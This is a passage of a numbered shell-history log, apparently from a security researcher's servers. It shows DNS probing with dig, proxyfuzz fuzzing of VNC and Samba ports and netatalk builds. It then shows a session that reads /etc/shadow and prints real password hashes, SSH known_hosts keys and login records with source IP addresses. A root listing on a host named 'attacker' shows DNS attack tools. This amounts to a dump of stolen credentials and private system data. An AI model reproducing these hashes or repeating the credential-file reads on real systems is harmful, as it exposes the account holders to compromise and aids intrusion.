@127.0.0.1 foo.www.toorrr.com type1337 6247 dig @127.0.0.1 foo.www.toorrr.com 6248 dig @127.0.0.1 foo.www.toorrr.com type1337 6249 dig @127.0.0.1 foo.www.toorrr.com type1338 6250 dig @127.0.0.1 foo.www.toorrr.com type1339 6251 dig @127.0.0.1 foo.www.toorrr.com type1340 6252 dig @127.0.0.1 foo.www.toorrr.com type1340 6253 dig @127.0.0.1 foo.www.toorrr.com 6254 dig @127.0.0.1 foo.www.toorrr.com 6255 dig @127.0.0.1 foo.www.toorrr.com 6256 dig @127.0.0.1 foo.www.toorrr.com type1340 6257 dig @127.0.0.1 www.toorrr.com type1340 6258 dig @127.0.0.1 www.toorrr.com type1341 6259 dig @127.0.0.1 www.toorrr.com any 6260 dig @127.0.0.1 www.toorrr.com any 6261 dig @127.0.0.1 www.toorrr.com any 6262 dig @127.0.0.1 foo.www.toorrr.com 6263 dig @127.0.0.1 foo.www.toorrr.com 6264 dig @127.0.0.1 $RANDOM.www.toorrr.com 6265 dig @127.0.0.1 $RANDOM.www.toorrr.com 6266 killall named 6267 named 6268 dig @127.0.0.1 $RANDOM.www.toorrr.com 6269 killall named 6270 named 6271 dig @127.0.0.1 $RANDOM.www.toorrr.com 6272 dig @127.0.0.1 $RANDOM.www.toorrr.com 6273 dig @127.0.0.1 $RANDOM.www.toorrr.com 6274 dig @127.0.0.1 $RANDOM.www.toorrr.com 6275 dig @127.0.0.1 $RANDOM.www.toorrr.com 6276 dig @127.0.0.1 www.toorrr.com 6277 killall named 6278 named 6279 dig @127.0.0.1 www.toorrr.com 6280 dig @127.0.0.1 www.toorrr.com TYPE1337 6281 dig @127.0.0.1 www.toorrr.com ANY 6282 dig @127.0.0.1 www.toorrr.com ANY 6283 dig @127.0.0.1 www.toorrr.com TYPE1337 6284 dig @127.0.0.1 www.toorrr.com ANY 6285 dig @127.0.0.1 foo.www.toorrr.com 6286 dig @127.0.0.1 foo.www.toorrr.com 6287 dig @127.0.0.1 $RANDOM.www.toorrr.com 6288 dig @127.0.0.1 $RANDOM.www.toorrr.com 6289 dig @127.0.0.1 $RANDOM.www.toorrr.com 6290 dig @127.0.0.1 $RANDOM.www.toorrr.com 6291 dig @127.0.0.1 $RANDOM.www.toorrr.com 6292 dig @127.0.0.1 $RANDOM.www.toorrr.com 6293 dig @127.0.0.1 $RANDOM.www.toorrr.com 6294 dig @127.0.0.1 $RANDOM.www.toorrr.com 6295 dig @127.0.0.1 $RANDOM.www.toorrr.com 6296 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6297 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6298 fg 6299 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6300 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6301 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6302 dig @127.0.0.1 $RANDOM.www.toorrr.com any 6303 dig @127.0.0.1 $RANDOM.www.toorrr.com 6304 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6305 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6306 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6307 dig @127.0.0.1 $RANDOM.www.toorrr.com mx 6308 tcpdump -n port 53 -w log 6309 tcpdump -n port 53 -s 2000 -w log 6310 tcpdump -vvv -r log 6311 tcpdump -vvv -r log | grep -i mx22 6312 dig @127.0.0.1 mx22.toorrr.com +norecurse 6313 dig @127.0.0.1 mx22.toorrr.com any +norecurse 6314 dig @127.0.0.1 mx22.toorrr.com mx +norecurse 6315 dig @127.0.0.1 toorrr.com mx +norecurse 6316 dig @127.0.0.1 toorrr.com mx +norecurse 6317 dig @127.0.0.1 toorrr.com mx 6318 dig mx16.toorrr.com. 6319 dig mx17.toorrr.com any 6320 dig mx17.toorrr.com +norecurse 6321 dig @127.0.0.1 mx17.toorrr.com +norecurse 6322 killall named 6323 named 6324 screen -D -R 6325 screen -D -R 6326 ps -axf | grep perl 6327 exps -axf 6328 ps -axf | grep perl 6329 ps axf | grep -i named 6330 named 6331 screen -D -R 6332 dig foo.toorrr.com 6333 dig foo.toorrr.com 6334 dig foo.toorrr.com 6335 dig @127.0.0.1 $RANDOM.foo.toorrr.com 6336 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com 6337 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6338 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6339 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6340 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6341 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6342 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6343 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6344 dig @deluvian.doxpara.com $RANDOM.foo.toorrr.com MX 6345 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6346 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6347 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6348 fg 6349 dig ns1.dns-integrity-scan.com 6350 dig @127.0.0.1 $RANDOM.foo.toorrr.com 6351 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6352 dig @127.0.0.1 $RANDOM.foo.toorrr.com MX 6353 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6354 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6355 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6356 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6357 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6358 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6359 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6360 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6361 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6362 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6363 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6364 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6365 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6366 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6367 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6368 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6369 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6370 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6371 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6372 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6373 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6374 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6375 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6376 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6377 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6378 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6379 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6380 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6381 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6382 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6383 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6384 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6385 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6386 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6387 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6388 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6389 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6390 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6391 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6392 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6393 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6394 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6395 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6396 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6397 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6398 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6399 sleep 10; dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6400 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6401 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6402 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6403 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6404 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6405 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6406 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6407 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6408 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6409 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6410 while [ 1 ] ; do dig @127.0.0.1 $RANDOM.dns-integrity-scan.com; sleep 1; done 6411 dig +norecurse @127.0.0.1 www.google.com 6412 dig +norecurse @127.0.0.1 www.google.com 6413 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6414 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com mx 6415 ~.\ 6416 ~. 6417 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6418 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6419 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6420 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6421 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6422 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6423 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6424 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6425 dig @127.0.0.1 $RANDOM.dns-integrity-scan.com 6426 screen -D -R 6427 ls 6428 screen -D -R 6429 nc frontend.doxpara.com 500 6430 nc frontend.doxpara.com 500 6431 ls 6432 python proxyfuzz.py 6433 python proxyfuzz.py -l 5901 -r 127.0.0.1 -p 5902 -w 5 -v 6434 wget http://theartoffuzzing.com/downloads/proxyfuzz/proxyfuzz.py 6435 python proxyfuzz.py 6436 apt-cache search twisted 6437 apt-get install python-twisted 6438 python proxyfuzz.py 6439 apt-cache search vnc 6440 apt-get install xvnc 6441 apt-cache search xvnc 6442 apt-get install vncserver 6443 apt-cache search vnc 6444 apt-get install vino 6445 apt-get update 6446 apt-get install vino 6447 vino 6448 vino-preferences 6449 vino-preferences -h 6450 man vino-preferences 6451 apt-cache search vnc 6452 cd 6453 wget http://downloads.sourceforge.net/vnc-tight/tightvnc-1.3.10_unixsrc.tar.bz2 6454 tar xjvf tightvnc-1.3.10_unixsrc.tar.bz2 6455 cd vnc_unixsrc/ 6456 ls 6457 make 6458 imake 6459 qmake 6460 apt-get install imake 6461 imake 6462 ls 6463 imake 6464 make 6465 make vncserver 6466 make xvnc 6467 make all 6468 more Makefile 6469 ls 6470 rm Makefile 6471 imake 6472 more README 6473 xmkmf 6474 make World 6475 python proxyfuzz.py -l 5901 -r 127.0.0.1 -p 5902 -w 5 -v 6476 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 5 -v 6477 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 5 -v 6478 python proxyfuzz.py -l 5901 -r 127.0.0.1 -p 5902 -w 5 -v 6479 tcpdump -n 6480 tcpdump -n port 22 6481 tcpdump -n not port 22 6482 tcpdump -n not port 22 and tcp 6483 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 5 -v 6484 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 20 -v 6485 python proxyfuzz.py 6486 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 20 -v -c 6487 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 200000 -v -c 6488 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 200000 -v -c 6489 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 200000 -v -c 6490 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 200000 -v -c 6491 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 5 -v -c 6492 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 5 -v -c 6493 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 25 -v -c 6494 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 25 -c 6495 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 25 -s 6496 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 60 -s 6497 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 600000 -v -s 6498 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 600000 -s 6499 python proxyfuzz.py -l 5900 -r 127.0.0.1 -p 5902 -w 70 -v -s 6500 apt-get install samba 6501 ls 6502 cd /etc 6503 ls 6504 cd samba/ 6505 ls 6506 vim smb.conf 6507 pwd 6508 ls ~ 6509 ls /home/root 6510 mkdir /tmp/stuff 6511 touch /tmp/stuff/heh.txt 6512 fg 6513 /etc/init.d/samba restart 6514 cd /tmp 6515 cd test 6516 ls 6517 cd stuff/ 6518 ls 6519 vim hello.txt 6520 man smb.conf 6521 ls 6522 wget http://zapinspace.com/images/previous_day.gif 6523 apt-cache search netatalk 6524 apt-cache search afp 6525 cd 6526 wget http://prdownloads.sourceforge.net/netatalk/netatalk-2.0.3.tar.bz2?download 6527 tar xzvf netatalk-2.0.3.tar.bz2 6528 tar xjvf netatalk-2.0.3.tar.bz2 6529 cd netatalk-2.0.3 6530 l 6531 ls 6532 ./configure 6533 apt-cache search bdb 6534 apt-get install libdb-dev 6535 ./configure 6536 make 6537 make 6538 find . | grep -i cnid_index.c 6539 vim ./bin/cnid/cnid_index.c 6540 ls 6541 cd 6542 /etc/init.d/samba stop 6543 man smb.conf 6544 cd /etc/samba/ 6545 ls 6546 vim smb.conf 6547 vim smb.conf 6548 /etc/init.d/samba start 6549 cd 6550 python proxyfuzz.py 6551 python proxyfuzz.py -l 445 -r 127.0.0.1 -p 446 -s -v 6552 python proxyfuzz.py -l 139 -r 127.0.0.1 -p 140 -s -v 6553 telnet 127.0.0.1 139 6554 telnet 127.0.0.1 140 6555 python proxyfuzz.py -l 139 -r 127.0.0.1 -p 140 -s -v 6556 python proxyfuzz.py -l 139 -r 127.0.0.1 -p 140 -w 20 -s -v 6557 python proxyfuzz.py -l 139 -r 127.0.0.1 -p 140 -w 40 -s -v 6558 python proxyfuzz.py -l 139 -r 127.0.0.1 -p 140 -w 40 -s -v 6559 ls 6560 cd netatalk-2.0.3 6561 ls 6562 make 6563 vim cnid_index.c 6564 find . | grep -i cnid_index.c 6565 vim ./bin/cnid/cnid_index.c 6566 make 6567 fg 6568 make 6569 fg 6570 make 6571 fg 6572 make 6573 find . | grep -i dbif.c 6574 vim ./etc/cnid_dbd/dbif.c 6575 make 6576 ls 6577 cd bin/ 6578 ls 6579 cd .. 6580 ls 6581 cd sb 6582 ls 6583 more README 6584 cd doc/Netatalk-Manual.txt 6585 cd doc/Netatalk-Manual.txt 6586 more doc/Netatalk-Manual.txt 6587 make install 6588 netatalk-config 6589 fg 6590 more doc/Netatalk-Manual.txt 6591 atalkd -h 6592 atalkd - 6593 atalkd ? 6594 atalkd -? 6595 atalkd 6596 fg 6597 ls 6598 cd .. 6599 ls 6600 screen -D -R 6601 dig @217.219.86.36 www.news.com 6602 dig @217.219.86.36 www.facebook.com 6603 dig @217.219.86.36 www.news.com 6604 dig @217.219.86.36 www.fark.com 6605 dig @217.219.86.36 www.twitter.com 6606 dig @217.219.86.36 www.facebook.com 6607 dig @81.12.75.2 www.news.com 6608 dig @81.12.75.2 www.facebook.com 6609 dig @81.12.75.2 www.bbc.co.uk 6610 dig @81.12.75.2 www.myspace.com 6611 dig @217.218.120.131 www.news.com 6612 dig @81.12.75.2 www.cnn.com 6613 dig @81.12.75.2 tehranbureau.com 6614 dig @81.12.75.2 twitter.com 6615 dig @81.12.75.2 www.twitter.com 6616 dig @81.12.75.2 www.friendfeed.com 6617 dig @81.12.75.2 www.youtube.com 6618 dig @217.219.86.36 www.news.com 6619 dig @217.219.86.36 www.twitter.com 6620 dig @217.219.86.36 www.friendfeed.com 6621 dig @217.219.86.36 www.facebook.com 6622 dig @217.219.86.36 www.facebook.com 6623 dig @81.12.75.2 www.facebook.com 6624 dig @202.227.96.4 www.news.com 6625 dig @202.227.96.4 www.news.com 6626 dig @80.191.197.2 www.news.com 6627 dig @213.217.54.99 www.news.com 6628 dig @213.217.54.99 www.twitter.com 6629 dig @213.217.54.99 www.facebook.com 6630 dig @213.217.54.99 www.facebook.com 6631 dig @213.217.54.99 www.facebook.com 6632 dig @213.217.54.99 www.facebook.com 6633 dig @81.12.75.2 www.facebook.com 6634 dig @81.12.75.2 www.facebook.com 6635 dig @81.12.75.2 www.facebook.com 6636 dig @80.191.175.131 www.facebook.com 6637 dig @81.12.75.2 www.cnn.com 6638 dig @81.12.75.2 www.facebook.com 6639 dig @85.185.143.162 www.news.com 6640 dig @80.191.249.6 www.news.com 6641 dig @80.191.249.6 www.facebook.com 6642 dig @81.12.75.2 www.facebook.com 6643 dig @217.219.158.131 www.news.com 6644 dig @217.219.158.131 www.facebook.com 6645 dig +norecurse @217.219.158.131 www.facebook.com 6646 dig +norecurse @217.219.158.131 www.facebook.com 6647 dig +norecurse @217.219.158.131 glb01.ash1.tfbnw.net. 6648 dig @217.219.158.131 www.facebook.com 6649 dig @217.219.158.131 www.facebook.com 6650 dig @217.219.158.131 www.youtube.com 6651 dig @217.219.158.131 mail.google.com 6652 dig @217.219.158.131 www.gmail.com 6653 dig @217.219.30.132 www.news.com 6654 dig @217.219.30.132 www.facebook.com 6655 dig @217.219.30.132 www.twitter.com 6656 dig @80.191.117.2 www.twitter.com 6657 dig @80.191.117.2 www.cnn.com 6658 perl -MCPAN -e shell 6659 screen -D -R 6660 screen -D -R 6661 perl -MCPAN -e shell 6662 screen -D -R 6663 ls 6664 ls *pl 6665 apt-get install ircii 6666 apt-cache search irc 6667 apt-get install irssi 6668 irc 6669 irssi 6670 adduser notroot 6671 su notroot 6672 apt-get install BitchX 6673 apt-cache search bitchx 6674 apt-cache search bitch 6675 apt-cache search Bitch 6676 apt-cache search irc 6677 irc 6678 irssi 6679 root@ovz-test:/root# ls -la /home/notroot/ 6680 total 28 6681 drwxr-xr-x 3 notroot notroot 4096 Jun 24 10:26 . 6682 drwxr-xr-x 3 root root 4096 Jun 24 10:24 .. 6683 -rw------- 1 notroot notroot 36 Jun 24 10:26 .bash_history 6684 -rw-r--r-- 1 notroot notroot 220 Jun 24 10:24 .bash_logout 6685 -rw-r--r-- 1 notroot notroot 2940 Jun 24 10:24 .bashrc 6686 drwx------ 2 notroot notroot 4096 Jun 24 10:26 .irssi 6687 -rw-r--r-- 1 notroot notroot 586 Jun 24 10:24 .profile 6688 root@ovz-test:/root# cat /home/notroot/.bash_history 6689 irsii 6690 irssi 6691 apt-get install BitchX 6692 root@ovz-test:/root# cat /etc/shadow 6693 root:JuP94Nj1hM6Lg:14235:0:99999:7::: 6694 daemon:*:14131:0:99999:7::: 6695 bin:*:14131:0:99999:7::: 6696 sys:*:14131:0:99999:7::: 6697 sync:*:14131:0:99999:7::: 6698 games:*:14131:0:99999:7::: 6699 man:*:14131:0:99999:7::: 6700 lp:*:14131:0:99999:7::: 6701 mail:*:14131:0:99999:7::: 6702 news:*:14131:0:99999:7::: 6703 uucp:*:14131:0:99999:7::: 6704 proxy:*:14131:0:99999:7::: 6705 www-data:*:14131:0:99999:7::: 6706 backup:*:14131:0:99999:7::: 6707 list:*:14131:0:99999:7::: 6708 irc:*:14131:0:99999:7::: 6709 gnats:*:14131:0:99999:7::: 6710 nobody:*:14131:0:99999:7::: 6711 libuuid:!:14131:0:99999:7::: 6712 dhcp:*:14131:0:99999:7::: 6713 syslog:*:14131:0:99999:7::: 6714 klog:*:14131:0:99999:7::: 6715 sshd:*:14131:0:99999:7::: 6716 mysql:!:14132:0:99999:7::: 6717 messagebus:*:14347:0:99999:7::: 6718 notroot:$1$5NXgAYu1$Q36ieersIyfNKhG3HP4rF0:14419:0:99999:7::: 6719 root@ovz-test:/root# ls -la .ssh/ 6720 total 12 6721 drwx------ 2 root root 4096 Dec 27 2008 . 6722 drwxr-xr-x 12 root root 4096 Jun 24 10:23 .. 6723 -rw-r--r-- 1 root root 884 Dec 27 2008 known_hosts 6724 root@ovz-test:/root# cat .ssh/known_hosts 6725 |1|HENau5Q1+yxFsWNa0yBD2VN54IU=|GNshk4V0xaC8TR8hZZzjeQJPx7o= ssh-rsa 6726 AAAAB3NzaC1yc2EAAAABIwAAAQEAw/uVRWNFRR0fdz1/0TY5zVlLSddEYng8F2YWQL9ytDeLw5heMue 6727 5/ZPY9wjMG8ce8ekTYDEApd0d55CzoAJBl6llc67jGxFpBVHAiM73Wn8xv0wRK21XGGgbOMhY7Awk+3 6728 mDQuMGqlPkX1SnePMqQ59xnjvj+RfNhidQr1xfhIEU0UDuBYSh+Ndzm3w4uNMjXuzfYpUVOBQpyQn1/ 6729 2ptG0mssozSbRKMLYM2wjM+uXfTSifam3zzxfTJa+9nG7i3KpIOaSDLC19mLYD60rOotN3vyzbnAF1w 6730 nWUcVeHFmx7gDQuUnNcP2ZZpTtEfhdqw88R0OBO9Sn3KhWxZduqXtw== 6731 |1|rTzTH8L7r8bFVz2KWEQuUou/gDM=|3w8k16LRasUGIshZU3MCH59jdNI= ssh-rsa 6732 AAAAB3NzaC1yc2EAAAABIwAAAQEAw/uVRWNFRR0fdz1/0TY5zVlLSddEYng8F2YWQL9ytDeLw5heMue 6733 5/ZPY9wjMG8ce8ekTYDEApd0d55CzoAJBl6llc67jGxFpBVHAiM73Wn8xv0wRK21XGGgbOMhY7Awk+3 6734 mDQuMGqlPkX1SnePMqQ59xnjvj+RfNhidQr1xfhIEU0UDuBYSh+Ndzm3w4uNMjXuzfYpUVOBQpyQn1/ 6735 2ptG0mssozSbRKMLYM2wjM+uXfTSifam3zzxfTJa+9nG7i3KpIOaSDLC19mLYD60rOotN3vyzbnAF1w 6736 nWUcVeHFmx7gDQuUnNcP2ZZpTtEfhdqw88R0OBO9Sn3KhWxZduqXtw== 6737 root@ovz-test:/root# last 6738 6739 wtmp begins Wed Jul 1 06:54:39 2009 6740 root@ovz-test:/root# :/ 6741 root@ovz-test:/root# logout 6742 Connection to 209.40.204.174 closed. 6743 %w 6744 8:45AM up 75 days, 11:54, 1 user, load averages: 0.18, 0.13, 0.09 6745 USER TTY FROM LOGIN@ IDLE WHAT 6746 crystal p0 76.14.85.220 6:47AM 1:58 sleep 60 6747 6748 6749 !~~~~~~~~ attacker.doxpara.com ~~~~~~~~! 6750 6751 root@attacker.doxpara.com's password: 6752 stdin: is not a tty 6753 uname -a; id 6754 Linux attacker 2.6.18-53.1.13.el5xen #1 SMP Tue Feb 12 14:04:18 EST 2008 i686 GNU/Linux 6755 uid=0(root) gid=0(root) groups=0(root) 6756 w 6757 15:58:41 up 62 days, 13:05, 0 users, load average: 0.00, 0.01, 0.00 6758 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 6759 last 6760 reboot system boot 2.6.18-53.1.13.e Tue May 19 03:04 - 15:58 (62+12:53) 6761 root pts/0 65.88.2.5 Wed Mar 11 19:33 - 21:46 (02:13) 6762 root pts/2 c-68-32-169-60.h Fri Mar 6 19:26 - 21:38 (02:11) 6763 root pts/1 dhcp64-134-142-7 Fri Mar 6 19:25 - 21:37 (02:11) 6764 root pts/0 c-68-49-183-84.h Fri Mar 6 19:03 - 21:16 (02:13) 6765 root pts/1 pool-71-163-75-2 Fri Mar 6 00:47 - 19:25 (18:38) 6766 root pts/1 dsl092-160-052.w Fri Mar 6 00:28 - 00:47 (00:18) 6767 root pts/2 166.197.228.144 Fri Mar 6 00:12 - 02:24 (02:12) 6768 root pts/1 c-68-49-183-84.h Thu Mar 5 23:44 - 00:14 (00:29) 6769 root pts/0 c-68-49-183-84.h Thu Mar 5 23:09 - 01:25 (02:15) 6770 root pts/0 c-68-49-183-84.h Thu Mar 5 22:18 - 23:05 (00:46) 6771 root pts/0 75-32-103-7.ligh Thu Feb 19 23:36 - 23:37 (00:00) 6772 root pts/0 75-32-103-7.ligh Thu Feb 19 23:34 - 23:34 (00:00) 6773 root pts/0 75-32-103-7.ligh Thu Feb 19 23:29 - 23:32 (00:03) 6774 reboot system boot 2.6.18-53.1.13.e Wed Feb 18 00:03 - 15:58 (152+15:54) 6775 root pts/0 dsl081-172-254.s Mon Feb 16 07:41 - down (1+15:56) 6776 reboot system boot 2.6.18-53.1.13.e Mon Feb 16 07:18 - 23:38 (1+16:20) 6777 root pts/1 dsl081-172-254.s Sun Feb 15 20:20 - down (10:31) 6778 root pts/1 dsl081-172-254.s Sun Feb 15 19:53 - 19:53 (00:00) 6779 root pts/1 dsl081-172-254.s Thu Feb 5 08:37 - 19:53 (10+11:16) 6780 root pts/5 ip-69-33-128-51. Thu Feb 5 08:34 - down (10+22:17) 6781 root pts/5 62-50-219-254.cl Sat Dec 27 19:16 - 08:34 (39+13:17) 6782 root pts/1 62-50-219-254.cl Sat Dec 27 18:27 - 19:22 (00:54) 6783 root pts/1 62-50-219-254.cl Sat Dec 27 14:55 - 18:27 (03:32) 6784 root pts/5 62-50-219-254.cl Sat Dec 27 02:53 - 19:16 (16:23) 6785 root pts/1 62-50-219-254.cl Sat Dec 27 01:39 - 02:53 (01:13) 6786 root pts/1 75-121-26-93.dyn Thu Dec 25 03:14 - 01:39 (1+22:25) 6787 root pts/1 75-121-26-93.dyn Tue Dec 23 02:28 - 03:14 (2+00:45) 6788 root pts/0 75-121-26-93.dyn Tue Dec 23 02:07 - 04:08 (02:00) 6789 reboot system boot 2.6.18-53.1.13.e Tue Dec 23 00:08 - 06:51 (55+06:43) 6790 6791 wtmp begins Tue Dec 23 00:08:27 2008 6792 ls -la 6793 total 1328 6794 drwxr-xr-x 8 root root 4096 Mar 6 01:00 . 6795 drwxr-xr-x 21 root root 4096 Dec 23 2008 .. 6796 -rw-r--r-- 1 root root 7519 Mar 11 21:46 .bash_history 6797 -rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc 6798 drwxr-xr-x 3 root root 4096 Dec 23 2008 .cpan 6799 -rw------- 1 root root 398 Feb 15 20:34 .mysql_history 6800 -rw-r--r-- 1 root root 141 Oct 20 2007 .profile 6801 -rw------- 1 root root 1024 Dec 23 2008 .rnd 6802 drwxr-xr-x 4 maildrop users 4096 Dec 23 2008 MIME-Base64-3.07 6803 -rw-r--r-- 1 root root 15548 Nov 30 2005 MIME-Base64-3.07.tar.gz 6804 drwxr-xr-x 7 1001 root 4096 Dec 23 2008 Net-DNS-0.63 6805 -rw-r--r-- 1 root root 149488 Feb 8 2008 Net-DNS-0.63.tar.gz 6806 drwxr-xr-x 4 maildrop maildrop 4096 Dec 23 2008 Net-IP-1.25 6807 -rw-r--r-- 1 root root 25749 May 24 2006 Net-IP-1.25.tar.gz 6808 drwxr-xr-x 6 maildrop maildrop 4096 Dec 23 2008 Net-Server-Mail-0.17 6809 -rw-r--r-- 1 root root 16017 Mar 17 2008 Net-Server-Mail-0.17.tar.gz 6810 -rw-r--r-- 1 root root 0 Feb 15 20:28 config.h 6811 -rw-r--r-- 1 root root 1620 Feb 16 08:09 dns.pl 6812 -rw-r--r-- 1 root root 228850 Dec 23 2008 dnsrake.zip 6813 -rwxr-xr-x 1 root root 12335 Mar 6 01:00 dnsrake_hacdc 6814 -rw-r--r-- 1 root root 8741 Mar 6 00:59 dnsrake_hacdc.c 6815 -rw-r--r-- 1 root root 1762 Mar 6 00:57 hacdcdemo.pl 6816 drwxr-xr-x 11 maildrop maildrop 4096 Feb 15 20:28 ldns-1.5.1 6817 -rw-r--r-- 1 root root 781562 Feb 10 17:35 ldns-1.5.1.tar.gz 6818 -rw-r--r-- 1 root root 768 Dec 23 2008 mail.pl 6819 -rwxr-xr-x 1 root root 13883 Feb 15 20:35 phonym 6820 -rw-r--r-- 1 root root 7738 Feb 15 20:45 phonym.c 6821 cat .bash_history 6822 apt-get clean 6823 logout 6824 exit 6825 apt-cache search ldns 6826 gcc 6827 apt-get install gcc make binutils 6828 apt-get install gcc make binutils libc6-dev 6829 hostname 6830 hostname 6831 ls 6832 apt-get install postfix 6833 apt-get install dovecot 6834 apt-get install dovecot-common 6835 useradd maildrop 6836 passwd maildrop 6837 cd/etc 6838 cd /etc 6839 cd postfix/ 6840 ls 6841 vim /etc/postfix/virtusertable 6842 hostname 6843 hostname attacker 6844 vim /etc/hostname 6845 perl -MCPAN -e shell 6846 ls 6847 bg 6848 top 6849 fg 6850 kill %1 6851 cd 6852 wget http://search.cpan.org/CPAN/authors/id/G/GU/GUIMARD/Net-Server-Mail-0.17.tar.gz 6853 /etc/init.d/postfix stop 6854 tar xzvf Net-Server-Mail-0.17.tar.gz 6855 cd Net-Server-Mail-0.17 6856 perl Makefile.PL 6857 make install 6858 cd 6859 cat > mail.pl 6860 vim mail.pl 6861 perl mail.pl 6862 vim mail.pl 6863 perl mail.pl 6864 fg 6865 kill %1 6866 fg 6867 kill -9 %1 6868 fg %2 6869 vim mail.pl 6870 perl mail.pl 6871 perl mail.pl 6872 fg 6873 perl mail.pl 6874 fg 6875 perl 